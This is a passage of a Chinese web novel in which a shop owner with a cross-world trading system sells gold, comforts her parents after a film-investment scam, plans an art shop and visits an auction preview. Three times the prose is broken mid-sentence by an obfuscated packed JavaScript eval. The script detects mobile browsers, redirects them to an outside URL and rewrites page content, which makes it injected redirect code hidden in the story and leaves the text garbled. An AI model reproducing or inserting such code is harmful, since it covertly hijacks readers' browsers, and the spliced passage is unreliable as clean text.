萧妧妧掂量掂量，大约是二十两的金锭。 二十两，600克，换算过来大约是36万，别说买压缩饼干了，国宴都能给他整一桌。 嘿嘿，到此为止，她已经存下了12900克金锭，按照今日金价算，能换现金810万！ 萧妧妧算了一笔账，然后陷入恍惚，恍惚过后，情不自禁傻笑。 回神的时候，龙傲天已经离开，面前只剩下三个匣子排排放。 【叮~恭喜萧妧妧女士在交易系统协助下完成货品交易1000件，您可解锁二级功能，是否立刻解锁？】 匣子叠在一起扔进空间，沉寂许久的系统诈尸了。 萧妧妧吓得一哆嗦，然后看向系统面板。 哦，是升级了啊，解锁二级功能？ 等等！这就交易1000件了？ 萧妧妧翻开账本一算，这才发现其中关窍。 所谓的交易件数，不仅仅是指她卖出去的，同时囊括了她收到的，两方加起来超过1000件即可。 “二级功能有什么？” 一边问，萧妧妧一边按下确定。 【结界可视功能开启，卖方可根据买方生活环境、生存需求、文化差异，做出相应推销，促进交易达成，提高交易数量】 萧妧妧一琢磨，好像有点鸡肋啊…… 她转身走到后门附近，拉开假门——还是一堵墙？ 【结界可视功能会在买方进入后自动开启】 萧妧妧撇撇嘴，失望地合上假门。 “统，三级功能有什么？我想要估价功能，我还想要穿梭功能，你们总系统给批吗？” 她猜得没错，系统升级确实是有好处的，一级容易，二级1000件，三级难度大概率翻倍，说不定是一万件甚至十万件。 升级难度加大，功能理应更强大吧？ 萧妧妧眼珠子一转，不客气地提要求。 29. 第 29 章 【交易件数不达标，您无权查看】 整得还挺神秘……要求被拒，萧妧妧吐槽一句，把系统升级这事抛在一边。 主要是功能不合她心意，萧妧妧失去探索的兴致。 “太好了，终于可以歇歇了。”伸了个懒腰，萧妧妧摔进躺椅里。 “小萧老师，你在店里吗？” 萧妧妧屁股刚坐下，还没来得及翘二郎腿，小卖部门口传来许年华的声音。 暗道一句又来了，萧妧妧叹气，随即笑容满面地起身。 “许叔，您这是……” 从柜台里侧钻出来，萧妧妧打完招呼，转眼看到许年华手上的两个礼品盒。 许年华提起礼盒摆上柜台，“这是公司准备的一点小心意，不是快过节了嘛，里面是月饼。” 萧妧妧咦了一声，看一眼手机，“谢谢许叔。不过，才8月头就要过中秋节了？” 许年华讪笑片刻，“中秋假期有一场大型拍卖，这不是来问问你有没有合适的艺术品。” 萧妧妧懂了，许经理这趟是为了自己的KPI来的。 她手上还真有不少适合的东西，首当其冲的就是从龙傲天手里弄来的金丝楠木匣子。 萧妧妧也不卖关子，说一句稍等，假装去后院走一趟，从空间拿出木匣。 许年华喜不自禁，只是想着离家近顺道来试试，还真让他试出来了。 萧妧妧很快回来，手里捧着闪闪发光的木匣。 许年华推了推眼镜，仔细盯着匣子分辨，“这是金丝楠木吧？” 远远看着不过瘾，许年华迎上去，殷勤地接过匣子，轻轻摆放。 萧妧妧：“对，金丝楠木，水波纹。” 许年华痴迷地抚摸着匣子，笑得脸颊肥肉轻颤，“小萧老师果然有实力，您是打算送拍这匣子？” 萧妧妧点头，“是的，匣子是意外得来，放在我家里委屈它了。” “小萧老师谦虚了，能碰着您这样爱惜它的主人，是它的福气。”许年华接话。 有日光打进店铺，迎着光斑欣赏金丝楠木，好像在欣赏流动的金波。 许年华戴上手套，检查过匣子，确认没有瑕疵，再看内部花纹和色泽，更加惊喜。 “好东西，真是好东西，”许年华抬头，“小萧老师，您看我今天把东西带回去评估鉴定，评估价一出来我立刻通知您，这安排还行吗？” 萧妧妧巴不得赶紧拿走拍卖，匣子好看归好看，哪有成叠的人民币好看。 有系统有龙傲天，她以后有得是机会弄来好看的匣子。 “当然，我是信得过许叔的。” 许年华笑得见牙不见眼，拿出协议走流程，萧妧妧则是去找合适的包装盒。 送拍金丝楠木定下后，许年华走路都轻盈许多，赶紧先抱起匣子先送上车，生怕萧妧妧反悔。 “小萧老师，107期的预展昨儿开始了，预展只有三天，后天正式举槌，可别错过了啊。” 萧妧妧这才想起来，她把拍卖会预展的事忘得一干二净。 “抱歉抱歉，这两天事多，差点没想起来，谢谢许叔提醒。” 这两天有些忙，发生的事情有点多，萧妧妧是真忘了，一想到后天就能看着玉扳指卖出去，然后等着钱款到账，她幸福得要冒泡。 寒暄两句，许年华心满意足转身出门。 走出去两三米，一个烫着卷发，穿着棉麻连衣裙的中年女人拦在他面前。 许年华客气的问：“您找我？” 王翠菊看了看小卖部大门方向，“我们家妧妧是不是送了个什么玉戒指给你们公司？” 许年华摸摸自己半秃的油亮头皮，探究目光落在女人身上。 “您是小萧老师的……？” 王翠菊撇撇嘴，什么小萧老师，她一个小卖部营业员，算哪门子老师。 “妧妧是我家孩子。”她扯出僵硬笑容，含糊不清的说。 许年华惊讶一瞬，母女俩长得可真不太像，随即扬起笑脸。 ………… 萧妧妧这会是真要歇下了，好累，好困，好想回家躺着。 “妧妧，妧妧，快回家去，老萧和老张让警察送回家了，你快去看看。” 萧妧妧屁股刚沾上坐垫，甚至都没坐下去，好心街坊闯进店铺，咋咋呼呼催她回家。 “我爸妈不是去旅游了吗？”萧妧妧吓一跳，呼吸急促，“婶子，我爸妈人没事吧？没戴手铐吧？” 正问着，电话恰好响起，来电显示是张芸。 她急忙接通电话，没等开口问几句，张芸便催她回家，萧妧妧追问是什么事，电话那头支支吾吾说不完整。 萧妧妧谢过婶子传话，索性拿起钥匙锁门。 白天游客多，骑电动车不如跑步方便，她干脆一路往回跑。 许年华感觉有一阵风卷过，仔细一看，那不是萧妧妧吗？ “呦，小萧怎么着急忙慌的，不会是出事了吧？大姐，您……” 王翠菊满脑子想着许年华说的话，这会正心气不顺，眼白一翻，尖利嗓音穿透力十足，“出事了才好呢，我管她死活。” 聊得好好的大姐忽然变脸，许年华一愣，目光重新落在王翠菊脸上，他看到了女人流露出的贪婪与恶意。 糟了……许年华心里咯噔一下，他好像坏事了。 萧妧妧没注意到许年华，更没看到王翠菊，闷头往家里跑，脑子里一直惦记爸妈。 还没到家门口，周边老街坊都站在巷子两边，探头探脑张望，窃窃私语。 萧妧妧顾不上他们，推门进去。 张芸好好坐在沙发上，萧大明蹲在旁边，两人垂头丧气，面色忽青忽白，看到萧妧妧急急忙忙赶回来，两人霎时间面色臊红。 “妧妧来了，警察同志，这是我女儿。”张芸搓着手，蔫哒哒的介绍。 萧妧妧合上大门，走进客厅，看他们好端端的坐着，人没受伤，也没看到他们手上有手铐，顿时放下心。 “警察同志，我爸妈他们出什么事了？”萧妧妧转身去看旁边的两位警察，“不是犯法了吧？” “事情是这样，你爸妈参与非法聚集，我们是把人送回来，还有些话和家属沟通一下。” 萧妧妧瞪大眼睛，“你们不是去旅游？” 看出萧妧妧不知情，警察同志又把事情的来龙去脉解释一遍。 萧妧妧越听下去，神情越古怪，看了看恨不得钻进地缝里的父母，不知道说什么好。 原来是张芸和萧大明年初的时候投资了一部电影，说好暑期上映后可以分账，结果7月初发现导演监制出品人都联系不上，电影也迟迟没能上映，同样参与投资的其他出资人便联合起来讨要说法。 说法讨了一个月，但是制作公司人去楼空，堵上门只得到踢皮球一样的回复。 这时候大家也都反应过来，他们大概率是遇上诈骗了，吵吵闹闹去报警。 诈骗案件处理非常麻烦，大家一时半会等不到结果，又听说导演在拍新戏，于是一琢磨，大家堵去剧组要钱。 自然是要不到的，还让剧组报警给扭送回来。 要不是看张芸和萧大明年纪大了，萧妧妧怀疑，他们可能没那么容易回家。 沟通过后，再签署一份文件，事情到此为止，警察完成任务离开，只剩下一家三口面面相觑，沉默了好一阵。 张芸扛不住了，率先开口，“妧妧，这事是我和你爸不走运，上了别人的当，你放心，我们没打架也没闹事，我问过警察，不留案底，不会影响你的。” 萧妧妧有点想笑，张芸这会想的竟然是这些。 “你们投资了多少？” 萧妧妧拉着爸妈坐下，和缓语气，闲聊似的说起他们不太愿意面对的话题。 萧大明撸了一把后脑勺，愁得声音都有几分苦闷，“二十一万……我和你妈存了两年的退休金，本来想说投资赚一把，到时候好给你凑首付买个房子。” 唉声叹气一会，萧大明沉闷语气夹杂了几分小心翼翼的讨好，“妧妧你放心，这笔钱我和你妈很快能给你攒出来。今天开始，我们俩吃白饭泡水，我不出去下棋，我会看着你妈，不让她花钱学跳舞，很快的。” 萧妧妧使劲眨了眨眼睛才没让眼泪飚出来，她深呼吸，走到父母身边。 “房子的事我们不是商量好了吗？我不需要，我觉得住家里挺好的，再说了，我现在自己能赚钱，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491454|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要你们为我省吃俭用，你们该花花，该吃吃。” “二十一万不算多，这损失咱们担得起。其实投资电影是这样的，周期长回款慢，你们不一定是遇上诈骗了，再等等看。” 即便是诈骗，萧妧妧也不能明摆着告诉他们。 她的父母她了解，辛苦攒钱结果打水漂，最痛心的肯定是他们自己。 这时候她再多说几句，语气稍微重一点，老两口能自责的吃不下睡不着，会一直沉浸在愧疚情绪中。 何况在此之前，他们说服自己接受自己遇到诈骗这事，已经消耗了许多能量与情绪。 萧妧妧以为他们是担心自己找不到工作，所以总是发愁，现在看，不止是为她愁。 其实这事确实不能怪他们，要怪怪剧情，怪作者。 落在老两口身上的这一遭，实际是为了推动男女主感情而存在的故事情节，躲不掉。 故事里，资助人惨遭诈骗，云昭昭心疼他们，男主便在这时站出来，动用人脉关系解决了这桩麻烦事。 事情结束，女主和资助人的关系更加亲近，和男主们也更加亲密，女配有点破防，自此开始上蹿下跳的针对女主。 她的劝解效果不佳，几句话并不能让他们忘记二十多万的损失。 老两口像犯错的孩子，垂头耷脑，唏嘘叹气。 萧妧妧倒是想得开，剧情嘛，反抗不过就随便吧。 何况她沉静下来后仔细回想一遍，结果并不一定是坏的。 印象中，张芸和萧大明不仅拿回本钱，还意外的小赚了一笔，夫妻俩为了感谢男女主的帮忙，高高兴兴请他们几个年轻人出去旅游。 旅游嘛，车上，户外，泳池，暴露，道具……各种眼花缭乱的剧情。 萧妧妧记得他们玩了不少花样，想想都…… 不对，跑偏了，反正最后结果还不错就是了。 萧妧妧怕爸妈钻牛角尖，佯装不在乎的开口：“我也是在电影里演过几个小配角的，爸妈，你们信我，电影没上映肯定是没办法分账。你们看，我大三演得小配角，前几天才给我打演出费。” 她掏出手机操作一番，展示银行卡余额。 “看吧，是不是有钱？我本来打算等你们回来再给你们惊喜的，装修用了你们三十多万，正好一次性还清，银行那边的贷款差不多也能结清，以后只有赚钱的份了。” 老两口果然挪开注意力，抱着手机数余额，越数越高兴。 “那是我们为了给你压力胡说的，哪要你还钱了，这钱你好好存着，等今年年底我和你爸再给你攒攒，咱们去买大平层，赶在你结婚前定下来。” 萧妧妧扶额，怎么说到结婚了呢。 她早该知道，一旦回南市，逃不掉催婚的环节。 “急什么，先不说结婚，就说投资电影，你们别担心，刚刚警察同志说的我都听到了，拍戏的导演业内有点小名气，不像是诈骗，你们都别想太多。大热天的，你们在人家门口堵多久了？没中暑吧？” 萧妧妧一副信誓旦旦的样子，老两口惴惴不安的心渐渐安稳。 女儿演过电影，知道的比他们多，损失二十多万她都不急不躁的，可见事情不一定糟成那样。 张芸又看了看银行卡余额，啧啧几声，“哎呦，早知道你演戏能赚这么多，我和你爸说什么都支持你继续拍戏的，演几个小角色，能有五十多万，娱乐圈真是不一样。” 萧大明得意哼哼，“那你不看看我闺女多漂亮，演出费肯定要高一点的。” 萧妧妧差点听不下去，演戏确实赚，可她连进组的机会都没有，好像一夜之间被封杀了一样。 可是，她一个刚毕业还不入流的小卡拉米，谁闲得没事封杀她啊。 这笔钱是龙傲天的金锭兑回来的，借着这次机会过明路后，萧妧妧催他们回去洗澡休息，自己回房间休整。 龙傲天刚给了两盒首饰，加上申明月留下的手串，一盒盒东西也得重新整理。 萧妧妧正思考，门口突然传来云昭昭急切的声音。 “妧妧姐，我听说叔叔阿姨出事了，我……哇，妧妧姐，你这是要开饰品店吗？” 倏然间，福至心灵，萧妧妧眼睛蓦地一亮。 30. 第 30 章 云昭昭说得对，她为什么不自己开一个铺子，专门售卖它们？ 不只卖首饰，可以是异世界流通过来的各种杂货，那么，或许叫艺术品集合店更合适？ 当然，前提是得送去鉴定，有正经的证书价格才能抬上去。 萧妧妧来回踱步，脑海里的规划渐渐清晰。 她抑制不住地漾起灿烂笑容，“昭昭你真棒。” 云昭昭：“？” 没等她问棒在哪里，萧妧妧已经转移话题，“我爸妈没事，他们去休息了。” 云昭昭还是不知道发生了什么，不过听到叔叔阿姨没事，她松了一口气。 两人说着话，楼上传来咔哒的关门声，她们齐齐抬头，看到了一身运动装的季随。 云昭昭下意识侧身躲进门里，不让季随看见她。 萧妧妧好奇他们到哪一步了，但也不好太直白，只当没看出云昭昭的异常。 她撇开脸，决定当一个冷漠路人，刚侧过身，忽然嘶了一声。 说起投资电影，她怎么给忘了，季随就是一个颇有才华的年轻导演。 出道的第一部片子拿了最佳导演奖，编写的剧本几次提名最佳编剧。 当然，这些不是最重要的，萧妧妧记得她在番外篇看过这样一段剧情。 季随的电影上映，成为当年黑马，是业内以小博大的典型案例，超高回报率引得业内嫉妒眼红不说，季随也因相貌英俊获得无数赞誉与曝光。 庆功宴上，高朋满座，宾客云集，季随掏出戒指向女主求婚，属于云昭昭和季随的结局在这里暂停。 萧妧妧明确记得，季随这部大爆的电影便是以南市月牙巷为背景，他在求婚现场坦然承认，如果没有在月牙巷遇见女主，他可能拍不出这部作品，或者拍成另一个模样，是女主的存在给了他无数灵感，成就他票房奇迹的传说。 换句话说，这部大赚特赚的片子目前还是受.精卵状态，她是有机会参与投资的！ 千万小成本电影爆到40亿票房，她要是能有机会多投一点，岂不是…… “妧妧姐，妧妧姐？你想什么呢？” 云昭昭想找个话题留下来一会，等季随离开再出去，然而她说了好一会，萧妧妧不仅没反应，还神情恍惚的傻笑。 萧妧妧赶紧回神，拍了拍脸颊，“想起来几个比较好的投资，对了，你要说什么？” 云昭昭仔细看了看萧妧妧，肌肤白腻，面色红润，精神状态十分饱满，不像是遇到渣男的样子。 “没什么，只是觉得妧妧姐今天气色特别好，精神也好，看起来快快乐乐的。” 萧妧妧萎靡不振的样子留在脑海挥之不去，让她担心了好久，今天看到重新振作起来的妧妧姐，云昭昭放心的同时还生出些隐忧。 萧妧妧摸摸脸颊，眨眨眼睛，“是吗？大概是相由薪生吧。” 她当然快乐，金貔貅发威，家里住了个活财神，只要她动动脑筋掺和进去，以后完全可以躺平。 尤其最近赚了一大笔，萧妧妧一改之前死气沉沉的模样，整天乐呵呵。 钱不是万能的，但无限趋近于万能，萧妧妧所有的焦虑不安，无法解决的难题，在钱面前迎刃而解。 如果她有尾巴，此刻已经翘到顶起一瓶汽水的程度。 想到这里，萧妧妧抽出两根猫条上供招财猫，又拿出健胃消食片，摆在它旁边。 云昭昭一脸莫名，“妧妧姐，家里这么多猫条，为什么没有看见猫啊？” 萧妧妧叹气：“因为它不着家，十天半个月才回来住一晚。” 闲聊几句，云昭昭要回231号带孩子，萧妧妧看父母已经午睡，也准备离开。 趁今天银价上涨五毛钱，她得尽快把银锭兑出去，金子她不打算动，全部丢在小盒子里攒着。 融通金不合适，去的还是口碑好的黄金回收铺子，一千两银锭全换成现金。 老板已经眼熟她了，看她从背包里掏出沉甸甸一盒银锭，呆了一会，脱口而出：“你老公又破产了？” 说完，老板意识到自己多嘴，闭口不言，埋着脑袋称重检测。 大兴朝的一千两银锭换算过来是30000克，抛开融损，最后兑来24.5万元。 再次捧着六位数的单据，萧妧妧冷静多了，瞅两眼，发一个仅自己可见的朋友圈，心满意足的回小卖部。 “萧老板你回来了，刚刚没见着你，想给你留字条呢。” 萧妧妧迈进店的同时，申明月恰好从后门进来，两人视线相撞，申明月惊喜跑来，眉眼上扬。 “昨天你走得匆忙，还没问你要买什么呢。”萧妧妧倒了两杯水，一杯自己喝，一杯递给申明月。 申明月捧着玻璃杯看了又看，笑得腼腆，“萧老板的药帮了大忙，昨日来本是想多买点，突然想起来有急事没解决，不得不匆忙离去。” 萧妧妧看向敞开的假门，原先嵌着电表箱的墙体已经变了一副样子，像显示屏，显现申明月进来时的环境。 猛地看到破落小院，萧妧妧差点没反应过来，盯了好一会才记起剧情。 即便申明月跟母亲顺利回到申家，可隐姓埋名的日子并不太好过，尤其外祖父早逝，家中只余各怀心思的舅父舅母以及年迈的外祖母。 申明月不在意，能在宫外生活已经很痛快了，她只想带走母亲出嫁前托付给舅舅的部曲。 她清醒的知道，拥有属于自己的力量，她才有资格面对一切风暴。 申明月这几日一直琢磨，到底怎么名正言顺地带走他们还不让旁人起疑。意外的，萧妧妧随口一句帮她打通了思路，急忙回去和母亲商量。 “药我有得是，不过你那边吃得下吗？何况伤药再贵，那也卖不上高价，为什么不换成其他物件？” 换成其他物件？ 申明月倒是想，可她对小卖部一无所知，无法做决定。 等等，萧老板怎么知道她要买止血药回去售卖？ 萧妧妧看她懵懂困惑，终于有了点十六七岁小姑娘的样子。 转念一想，她自小在深宫后院长大，哪怕母亲用心教导，也不能涵盖生活方方面面。 她总会遇见很多不懂的、陌生的事务，慢慢摸索，一次次摔跟头。 萧妧妧心软软，拉着申明月走到柜台后面。 如果不怕麻烦，萧妧妧其实可以配合她赚“汇率”，两个位面的汇率，挺好赚的。 但她怕麻烦，还是老老实实倒买倒卖货品吧。 “你先说说，你们那里什么东西比较昂贵，”萧妧妧一手纸笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491455|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一手托着手机查资料，“一定要是有钱人特别青睐的东西，赚钱嘛，赚得就是有钱人的钱。” 申明月咀嚼最后一句，有种醍醐灌顶的感觉。 对啊，她卖再多伤药，赚得是老百姓的钱，怎么能比得过世家大族？ 申明月眼放异光，她现在有好多想法好多话，捏着下巴，一边思索一边来回踱步。 “浮光锦！我听表姐说，寸锦寸金，格外珍贵。” “还有龙涎香，舅母卧房里点过，是丫鬟说很值钱。” “对了，琉璃！我和母亲还在宫里时，隔壁的贵人就是因为打碎了皇后的琉璃盏被打进冷宫，据说那七彩琉璃盏绝无仅有，是他国上供的，皇后很是珍爱。” 萧妧妧听得心酸，申明月这个公主当得真惨，好东西是一样没见过，全靠别人在她面前炫耀才知晓一二。 申明月回忆半天，越说越兴奋，扭头一看，萧老板怜惜地望着自己。 她缩了缩脖子，“我说错了吗？” “不，你说得太对了，龙涎香我弄不到，这玩意在我们这里不便宜，我晚些时候研究研究，不过琉璃不是问题。” 萧妧妧拉开柜门，从里面捧出花里胡哨的琉璃盘子琉璃杯，以及玻璃红酒杯。 这些原先是为龙傲天准备的，所以有些花哨。 申明月揉了揉眼睛，上前两步。 她就这么轻而易举的见到了琉璃？ “至于你说的浮光锦，我这里有一种布料和它很相似，下回你来时我给你看一眼，或者你带回去试试，如果能出手，我保证要多少有多少。” 申明月没忍住，伸手掐了一把胳膊，“嘶……” 萧妧妧噗呲一下笑出声，女鹅好可爱！ 申明月想到什么，回过神，声音渐弱，“可是……我手里的金子没那么多。” 萧妧妧浑不在意，“那就等你卖出去再给货款。放心，它们在你们那里卖得贵，但在我这里一般般吧，不然怎么卖出差价呢。” 申明月越听越兴奋，丹凤眼眯出快乐的弧度，“我回去取钱！” 萧妧妧拉住她胳膊，“急什么，你回去打听打听，你那个什么州，买一件琉璃要多少金子，那些贵人们买回去都是做什么用，打听清楚了我好帮你规划一下。” 申明月高兴过头，差点脑袋一热就要付钱，听萧妧妧嘱咐了几句，她意识到做生意没那么简单。 她望着萧妧妧，神情恳切，“萧老板，前面是我误会你了，总觉得你这小店太过古怪，如今看来是我小人之心度君子之腹，萧老板您是好人。” 萧妧妧莞尔，又收到好人卡了。 她拍拍申明月，让她再等等，“你身边有没有年长的人伺候？最好是懂点医理的。” 申明月点点头，“有的，阿嬷跟在我和母亲身边多年，最是可靠。” 萧妧妧放心了，凑到她耳边教她套话技巧。 申明明努力记在脑海里，等萧妧妧说完，她开口问道：“萧老板，西多芬真有那么厉害？” “当然，别看它小小一颗，拿捏男人，易如反掌。” 没有男人能拒绝它，除非他不是男人。 具体怎么拿捏，萧妧妧不好意思解释太仔细，让她回去多和嬷嬷请教，有点概念了再说后话。 31. 第 31 章 送走申明月没多久，时间已经来到傍晚时分。 折腾一天，萧妧妧真累了，手机下单几样东西后，她趁着有空闲，联系装修团队预约时间上门，改造后院。 除了仓库、客房、厨房、卫生间留下，其他房间全部空出来，为她的艺术品集合店腾地方。 要准备的不止是装修，各种各样“艺术品”也需要她淘换回来，总之任务繁重。 忙完这一阵，天色黑透，想到第二天的行程，萧妧妧决定提前关门，回家睡觉。 回家之前，还有件事需要她解决——扔掉让她社死的充气娃娃。 翌日天亮，萧妧妧放弃心爱的白T大裤衩和洞洞鞋，换上一身得体衣服，带上预展邀请函出门。 雅园意外的热闹，车辆堵住了半条街，她是走路来的，先所有人一步进门。 许年华守在画堂门口，招呼前来参加预展的新老藏家，并奉上图册，重要老藏家甚至会安排工作人员跟随讲解。 看到萧妧妧，许年华不自觉心虚，面对她的问好，他支吾回应，视线飘忽不敢对视。 怪自己嘴欠，见那大姐气势汹汹，许年华以为萧妧妧偷拿家里东西送去拍卖，最后还让家长抓包。 这事他遇得多了，老一套办法解决，结果倒好，这个家长根本不是直系亲属，去老方家一打听，好嘛，反而是关系不睦的婶婶，完犊子。 许年华愁死了，怕说出来影响金丝楠木，不说吧，心里直打鼓。 萧妧妧挠挠头，看门口人来人往，颔首打过招呼后便自行进了展拍厅，没把许年华奇怪反应放在心上。 她像逛博物馆一样，一件一件看过去，时不时翻开册子看两眼。 看得越多，萧妧妧越是觉得这里和想象的完全不一样。 拍品很多，一共678件，目前看下来，便宜的有估价一两万左右的玉坠子，贵的有十几万的玉牌、几十万的玉镯，价格参差不齐。 还有玉珏、玉琮、玉璧等等，都是有年份的老物件，能标出朝代出处，也算开了眼界了。 她送拍的那件玉扳指不上不下，在一众华丽的首饰当中，可以说是不太起眼。 翻了半本册子后，萧妧妧一度怀疑玉扳指可能要流拍。 实在是这里的拍品太多了，昂贵的、珍稀的、便宜的……难怪预展要办三天。 萧妧妧放平心态，只当自己是来学习实践。 她每天坚持看教材看直播看教学视频，但面对什么冰种水头，仍旧稀里糊涂，正好借着拍卖会多看看实物。 “碧玺有什么好看的，你买回去就贬值，现在翡翠最火热，要买咱们给女儿攒几个翡翠镯子。” “碧玺戴着多漂亮，看着合适一起买呗，你看看这几串，要放在古代，老值钱了，一般人还买不到呢。” “你怎么不说玉髓啊，搁在古代稀有的很，现在满大街都是，几百块就能买。” “那不能一样，两个克价都差了好几百呢……” 一对年轻夫妻堵在碧玺展柜前互相抬杠，听了一耳朵的萧妧妧浑身一颤，倏地顿住脚步。 对啊，她怎么把这么重要的事给忘了。 上回请博主鉴宝给了她不少灵感，可惜灵光一闪而过，没来得及深究，这对小夫妻刚好提醒了她。 和倒卖琉璃一个思路，她要是能批发些玉髓、碧玺、玛瑙，随便是交给申明月还是龙傲天，都能大赚一笔。 哦，不对，龙傲天怕是看不上她这点小生意，况且他是太子，一举一动都有政敌盯着，不方便搞小动作。 思来想去，申明月最合适。 越想越兴奋，萧妧妧恨不得立刻回小卖部写计划书。 “小萧老师看上碧玺手串了？”许年华扬起灿烂笑脸，熟稔搭话，转身找来一旁的工作人员，“去开一下柜子，把碧玺拿出来给藏家瞧瞧。” 萧妧妧扒在玻璃展示柜前，盯着流光溢彩的碧玺珠串发呆，脑子一遍遍琢磨她的生钱大计，冷不丁的，许年华出现在身后，萧妧妧又是一抖。 “不不不，只是看两眼，”萧妧妧拍拍胸口，反应过来后赶紧拒绝，“展拍品也可以拿出来看？” 许年华殷勤解释，“当然，上手摸都没关系。如果萧老师有看中的拍品，出门前可以在展厅口办理竞投号牌。” 萧妧妧眨眨眼睛，不好意思地搓搓手，“那个……我可以不买东西，只在拍卖现场看看吗？” “那也是没关系的，不过办理竞投号牌需要验资。” 听到验资，萧妧妧冷静下来，她哪有多少资可以验啊。 “本期办牌需要五十万，如果小萧老师看中了特殊拍品，价格还要再涨涨，一百万两百万都是正常的。 如果有看上的拍品并竞价成功，保证金会抵扣费用，多退少补。如果一件没看上，保证金会在24小时内退还。” 许年华非常熟悉拍卖流程，为她细致讲解。 萧妧妧有点心动，五十万她真有，而且不买东西可以全额退，相当于免费进去看。 萧妧妧想看看，玉扳指到底能不能拍出去，拍多少价。 “对了小萧老师，我来是想跟你说金丝楠木匣子的事。”许年华说了好半天话，口干舌燥的时候终于记起自己找萧妧妧的目的。 萧妧妧眼睛微睁，期待地望着许年华，语气稍急，“怎么样？符合拍卖主题吗？” “自然是符合的，您看安排在109期如何？临近中秋节，公司准备把规模弄大点，到时候老藏家不少，匣子也能拍出好价格。” 听到能拍出好价格，萧妧妧的迟疑立刻消失，多赚一点是一点，她不介意多等一个月。 她追问：“评估师怎么说？估价能不能超过300万？” 300万是她根据网上搜来的拍卖记录自己预估的价格，如果真像博主说得那样好，应该不是问题。 许年华哼笑几声，神情稍显得意，“不止，评估师给的价格是455－535万，这匣子不错，按照我的经验看，流拍概率不大。” 有许年华这句话在，萧妧妧别提多踏实了，500万，靠上班得赚到什么时候啊，拍戏更别提了，以她的资历和技术，恐怕这一两年内都达不到500万片酬。 许年华看她笑得眉眼弯弯，询问她有没有看上的物件，既然要参加拍卖会，随便买个小东西感受一下也不错。 萧妧妧多看他一眼，总觉得许年华殷勤得过分，她假装听不懂他的卖力推销，认真敷衍。 两人正说着话，画堂门口涌进来一群人，引来四周藏家侧目。 “小萧老师你自己先看看啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491456|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我领导来了，”许年华苦笑，下巴微扬示意门口方向。 萧妧妧侧身看过去，一身高定黑西装的黎行聿走在最前头，白衬衫黑西裤的黎行墨心不在焉跟在后面，身边围满了拍卖行的工作人员。 兄弟俩个高腿长，肩背宽阔，套着裁剪得体的西装格外好看，和穿运动装时完全两种风格，难怪周围藏家伸着脖子看他们。 萧妧妧欣赏得有些久，黎行聿偏头看过来，两股视线相碰，萧妧妧有种偷看帅哥被抓包的窘迫。 可大家都在看，也不差她一个，于是她坦然的微笑颔首，算是打招呼。 黎行聿愣了两秒，回以礼貌的微笑。 许年华差点吓得心脏停跳，看看黎行聿，又看看萧妧妧，迟钝发觉不是在跟他对视。 “小萧老师认识我们黎总？” “不算认识吧，对门邻居。” 许年华纳闷，黎总怎么住月牙巷去了，然后暗暗把月牙巷划成禁区。 飞快交谈两句，许年华告别萧妧妧，随行在领导身侧。 萧妧妧转身去人少的地方继续参观拍品，一路看下来，倒是有几件感兴趣的，一看评估价，萎了。 算了算了，钱包厚度跟不上她的审美。 走走看看，快到画堂出口位置，萧妧妧终于找到她送拍的玉扳指，前面站了七八人欣赏。 萧妧妧暗自祈祷，希望玉扳指能花落其中一家。 “……黎总对马大师的作品有兴趣的话，可以再看看旁边这枚玉扳指，我们的鉴定师给出的评价是，极有可能是马大师的早期作品，风格手法极度相似，现在市场上很难找，只是可惜没有印。” 她刚祈祷两句就听到许年华的声音，回头一看，许年华引着一行人走向玉扳指所在的展柜。 萧妧妧莫名激动。 这可是真霸总，一掷千金只为买到心仪宝贝的剧情，最容易发生在他们这类人身上。 许年华卖力介绍玉扳指，黎行聿示意工作人员拿出展品上手触摸，萧妧妧躲在一边看得心头火热。 她保证，只要玉扳指卖出高价，她会请许年华吃大餐！ 萧妧妧幻想黎行聿大手一挥，以震动古玩圈的价格拍走玉扳指，自己赚得盆满钵满时，胳膊让人撞了一下。 她往人少的地方避了避，刚站定，余光瞥到展厅末尾办理竞牌的地方。 “小姐请留步。” 萧妧妧抬脚要走过去，迈出去两步，忽然有人拦在她面前，才反应过来是在和自己说话。 “您叫我？” 萧妧妧莫名地望向拦住她的人。 男，六十左右，头发半白但梳理得整整齐齐，戴着黑框眼镜，穿着做工良好的短袖衬衫，看起来是饱读诗书、文质彬彬的文化人。 “不好意思，请您稍等一下，我看您手上的手串很特别，所以想冒昧地请问一下，方便让我观赏两眼吗？”男人客气且温和的提出请求。 手串……萧妧妧茫然抬起左手腕，看见一抹白，瞬间恍然。 